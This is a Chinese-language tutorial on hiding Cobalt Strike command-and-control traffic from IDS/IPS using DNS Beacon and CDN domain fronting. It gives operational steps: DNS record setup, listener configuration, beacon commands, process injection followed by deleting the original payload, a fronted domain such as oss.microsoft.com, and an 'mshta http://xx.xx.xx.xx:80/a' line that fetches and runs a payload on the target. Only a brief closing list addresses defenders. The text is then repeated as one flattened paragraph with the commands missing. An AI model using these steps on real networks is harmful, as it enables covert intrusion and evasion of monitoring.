内网流量规避
字数 1925 2025-08-15 21:32:49

内网流量规避技术详解:DNS Beacon与Domain Fronting

1. IDS与IPS概述

IDS (Intrusion Detection System) 入侵检测系统

  • 旁路检测设备
  • 工作在网络层
  • 并行接在内网所需防护设备的链路上
  • 通过抓取流量分析数据包,匹配规则库检测恶意数据
  • 功能:报警处理

IPS (Intrusion Prevention System) 入侵防御系统

  • 覆盖网络层和应用层
  • 相比IDS增加了主动防御和阻断攻击的功能

2. DNS Beacon技术

2.1 基本原理

  • 将数据通过DNS隧道进行传输
  • 基于UDP协议,利用53端口
  • 隐蔽性强,大多数防火墙和IDS对DNS流量放行
  • 缺点:传输速度较慢(需经过多个DNS节点服务器)

2.2 DNS Beacon数据链路

  1. 被控端收到命令后,向记录的DNS服务器请求解析域名
  2. 内网DNS收到请求后找不到该域名,将请求交给权威域名服务器查询
  3. 权威域名服务器向其他服务器同步请求
  4. 找到对应IP为Cobalt Strike服务器,解析请求,实现DNS数据传输

2.3 配置方法

2.3.1 DNS配置

  1. 申请域名,添加A记录,将域名与公网IP绑定
  2. 添加NS记录,将NS记录指向到A记录的主机名
    • NS记录可设置2-3个,主机记录不同即可(如ns1、ns2)
    • 添加记录约10分钟后生效
    • 使用nslookup查询NS记录,结果为0.0.0.0表示同步成功

2.3.2 生成DNS Beacon监听器

  1. 在Cobalt Strike中选择Listeners → Add
  2. 参数设置:
    • Payload:选择Beacon DNS
    • Name:自定义
    • DNS Hosts:填写NS记录(多个可都写上)
    • DNS Hosts(Stager):填写任意一条NS记录

注意:DNS Host(Stager)字段配置DNS Beacon的TXT记录stager,仅用于要求显式stager的功能中。

2.3.3 生成Payload

  • 根据目标系统选择32/64位Payload
  • 在被控机上运行Payload
  • 上线后不会显示任何信息,需使用以下命令:
    mode dns       # 设置数据通道模式
    checkin        # 强制回连一次
    

2.3.4 通道模式

  • mode dns:使用DNS A记录(IPv4)
  • mode dns6:使用DNS AAAA记录(IPv6)
  • mode dns-txt:使用DNS TXT记录

2.3.5 进程隐藏

  1. 在CS端打开进程列表
  2. 选择目标进程,点击Inject注入Payload
  3. 上线后删除原始Payload

2.4 技术特点

优势:

  • 隐藏真实IP
  • 使用UDP协议,不开放额外端口
  • 进程迁移后无法看到原始程序
  • 数据加密传输

劣势:

  • 会暴露域名
  • 部分安全设备已具备DNS流量监测能力

3. Domain Fronting技术

3.1 基本原理

  • 隐藏服务器真实IP并伪装成高信誉域名
  • 核心:利用CDN服务
  • CDN请求机制:通过Host头寻找指定真实服务器

3.2 配置方法

3.2.1 CDN配置

  1. 购买云服务器,开通CDN服务
  2. 配置参数:
    • 加速域名:填写高信誉域名(如oss.microsoft.com)
    • IP:填写CS服务器IP
  3. 等待状态变为"正常运行"
  4. 复制CNAME,使用站长工具ping测试

测试命令:

curl [CDN任意机房IP] -H "Host:[伪造域名]" -v

预期结果:404响应

3.2.2 C2 Profile配置

  • 使用CS 3.x版本(4.x不支持)
  • 使用开源项目Malleable-C2-Profiles中的amazon.profile
  • 修改其中的Host头为CDN中绑定的域名
  • 将文件放在CS服务端根目录,启动脚本添加./amazon.profile

3.2.3 CS配置

  1. 新建Listener:
    • 选择http payload
    • 主机填CDN绑定的域名
    • 输入任意一个阿里云CDN的IP地址
  2. 查看Web日志,应显示各种404信息

3.2.4 Payload生成

  1. 加载CACTUSTORCH脚本:
    • 解压到CS客户端根目录
    • 在脚本管理器中选择Load → CACTUSTORCH.can
  2. 生成Payload:
    • Local host填公网IP
    • 选择创建的Listener
    • Type选择hta
  3. 目标机执行:
    mshta http://xx.xx.xx.xx:80/a
    

3.3 技术特点

优势:

  • 有效隐藏真实IP和域名
  • 对方只能看到CDN域名
  • 传输速度快

劣势:

  • 长期使用资源消耗大

4. 总结

两种内网流量规避技术各有特点:

  • DNS Beacon适合需要高隐蔽性的场景,但速度较慢
  • Domain Fronting适合需要快速传输的场景,但资源消耗较大

安全防御方应注意:

  • 加强对异常DNS流量的监控
  • 检查CDN流量中的异常Host头
  • 更新IDS/IPS规则库以识别新型规避技术
内网流量规避技术详解:DNS Beacon与Domain Fronting 1. IDS与IPS概述 IDS (Intrusion Detection System) 入侵检测系统 旁路检测设备 工作在网络层 并行接在内网所需防护设备的链路上 通过抓取流量分析数据包,匹配规则库检测恶意数据 功能:报警处理 IPS (Intrusion Prevention System) 入侵防御系统 覆盖网络层和应用层 相比IDS增加了主动防御和阻断攻击的功能 2. DNS Beacon技术 2.1 基本原理 将数据通过DNS隧道进行传输 基于UDP协议,利用53端口 隐蔽性强,大多数防火墙和IDS对DNS流量放行 缺点:传输速度较慢(需经过多个DNS节点服务器) 2.2 DNS Beacon数据链路 被控端收到命令后,向记录的DNS服务器请求解析域名 内网DNS收到请求后找不到该域名,将请求交给权威域名服务器查询 权威域名服务器向其他服务器同步请求 找到对应IP为Cobalt Strike服务器,解析请求,实现DNS数据传输 2.3 配置方法 2.3.1 DNS配置 申请域名,添加A记录,将域名与公网IP绑定 添加NS记录,将NS记录指向到A记录的主机名 NS记录可设置2-3个,主机记录不同即可(如ns1、ns2) 添加记录约10分钟后生效 使用nslookup查询NS记录,结果为0.0.0.0表示同步成功 2.3.2 生成DNS Beacon监听器 在Cobalt Strike中选择Listeners → Add 参数设置: Payload:选择Beacon DNS Name:自定义 DNS Hosts:填写NS记录(多个可都写上) DNS Hosts(Stager):填写任意一条NS记录 注意:DNS Host(Stager)字段配置DNS Beacon的TXT记录stager,仅用于要求显式stager的功能中。 2.3.3 生成Payload 根据目标系统选择32/64位Payload 在被控机上运行Payload 上线后不会显示任何信息,需使用以下命令: 2.3.4 通道模式 mode dns :使用DNS A记录(IPv4) mode dns6 :使用DNS AAAA记录(IPv6) mode dns-txt :使用DNS TXT记录 2.3.5 进程隐藏 在CS端打开进程列表 选择目标进程,点击Inject注入Payload 上线后删除原始Payload 2.4 技术特点 优势: 隐藏真实IP 使用UDP协议,不开放额外端口 进程迁移后无法看到原始程序 数据加密传输 劣势: 会暴露域名 部分安全设备已具备DNS流量监测能力 3. Domain Fronting技术 3.1 基本原理 隐藏服务器真实IP并伪装成高信誉域名 核心:利用CDN服务 CDN请求机制:通过Host头寻找指定真实服务器 3.2 配置方法 3.2.1 CDN配置 购买云服务器,开通CDN服务 配置参数: 加速域名:填写高信誉域名(如oss.microsoft.com) IP:填写CS服务器IP 等待状态变为"正常运行" 复制CNAME,使用站长工具ping测试 测试命令: 预期结果:404响应 3.2.2 C2 Profile配置 使用CS 3.x版本(4.x不支持) 使用开源项目Malleable-C2-Profiles中的amazon.profile 修改其中的Host头为CDN中绑定的域名 将文件放在CS服务端根目录,启动脚本添加 ./amazon.profile 3.2.3 CS配置 新建Listener: 选择http payload 主机填CDN绑定的域名 输入任意一个阿里云CDN的IP地址 查看Web日志,应显示各种404信息 3.2.4 Payload生成 加载CACTUSTORCH脚本: 解压到CS客户端根目录 在脚本管理器中选择Load → CACTUSTORCH.can 生成Payload: Local host填公网IP 选择创建的Listener Type选择hta 目标机执行: 3.3 技术特点 优势: 有效隐藏真实IP和域名 对方只能看到CDN域名 传输速度快 劣势: 长期使用资源消耗大 4. 总结 两种内网流量规避技术各有特点: DNS Beacon适合需要高隐蔽性的场景,但速度较慢 Domain Fronting适合需要快速传输的场景,但资源消耗较大 安全防御方应注意: 加强对异常DNS流量的监控 检查CDN流量中的异常Host头 更新IDS/IPS规则库以识别新型规避技术